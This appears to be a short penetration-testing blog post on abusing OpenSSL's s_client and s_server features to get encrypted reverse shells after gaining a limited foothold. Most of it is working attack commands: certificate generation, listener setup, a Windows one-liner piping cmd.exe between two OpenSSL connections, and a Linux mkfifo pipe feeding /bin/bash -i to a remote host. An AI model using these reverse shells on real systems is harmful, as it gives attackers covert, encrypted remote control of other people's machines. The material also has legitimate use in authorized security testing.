During the enumeration face on a box where I had a limited horrible DNS shell I stumbled upon an OpenSSL installation this led to me being able to pop a better, less restrictive and "noisy" reverse shell using some obscure features incorporated into OpenSSL.
OpenSSL, most people associate OpenSSL with encryption, decryption and verification of data. Other than these main features OpenSSL's binary also hides some true gems s_client and s_server these permits users to test their server side SSL implementation, but it also gives us pentesters a way to send and recive encrypted data.
S_Client, the likeness of nc and OpenSSL client functionality is immediate as the simple command
openssl s_client -quiet -connect [ip]:[port] is equivalent to
nc [ip]:[port]. The
-quiet flag is necessary as if not the session will be renegotiated if an R ever starts a line in the input.
S_Server, OpenSSL server functionality is a little bit different from nc's and it's somewhat more difficult to set up as it needs a valid public key certificate, fortunately OpenSSL "main function" is to generate the type of certificate we need. Generating one of these can be easily be done with this command
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 30 -nodes this generates a private key into the file key.pem and it writes a cert into the cert.pem file these we can then use to set up the server. To set up the server we can then run
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port] this is equivalent to running
nc -lp [ip] [port] as long as we provide a valid keyfile and it's associated public key certificate
Knowing this we can easily understand how we can "abuse this" to generate reverse shells
Reverse shells on Windows and Linux
Windows, to create a reverse shell on windows we can run
openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2] this connects the input of cmd onto the server listening at [ip] on [port1] and the output onto the server listening at [ip] on [port2]. On the server side we have to listen on two different ports running two different instances of OpenSSL binary e.g
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1] and in another shell
openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2] a thing to note is that it isn't necessary to have input and output on the same host making it somewhat flexible. Sadly this flexibility comes with the fact that you have to run two different instances of the same binary, this can be of course mitigated by writing some code which will be posted in the next blog post on this topic.
Linux, on Linux we can avoid the double instances of OpenSSL as we can create a unique pipe which can be used both for input and for output using the
mkfifocommand to create a pipe that can easily redirect our input :D.To create a reverse shell on linux we can run
mkfifo pipe; /bin/bash -i < pipe 2>&1 | openssl s_client -quiet -connect [ip]:[port] > pipe; rm pipe this connects the standard input, output and error onto the server on [ip] listening on [port]. This makes starting up the "handler/listener" easier as we can just run
openssl s_server -quiet -key [keyFile] -cert [certFile] -port [port]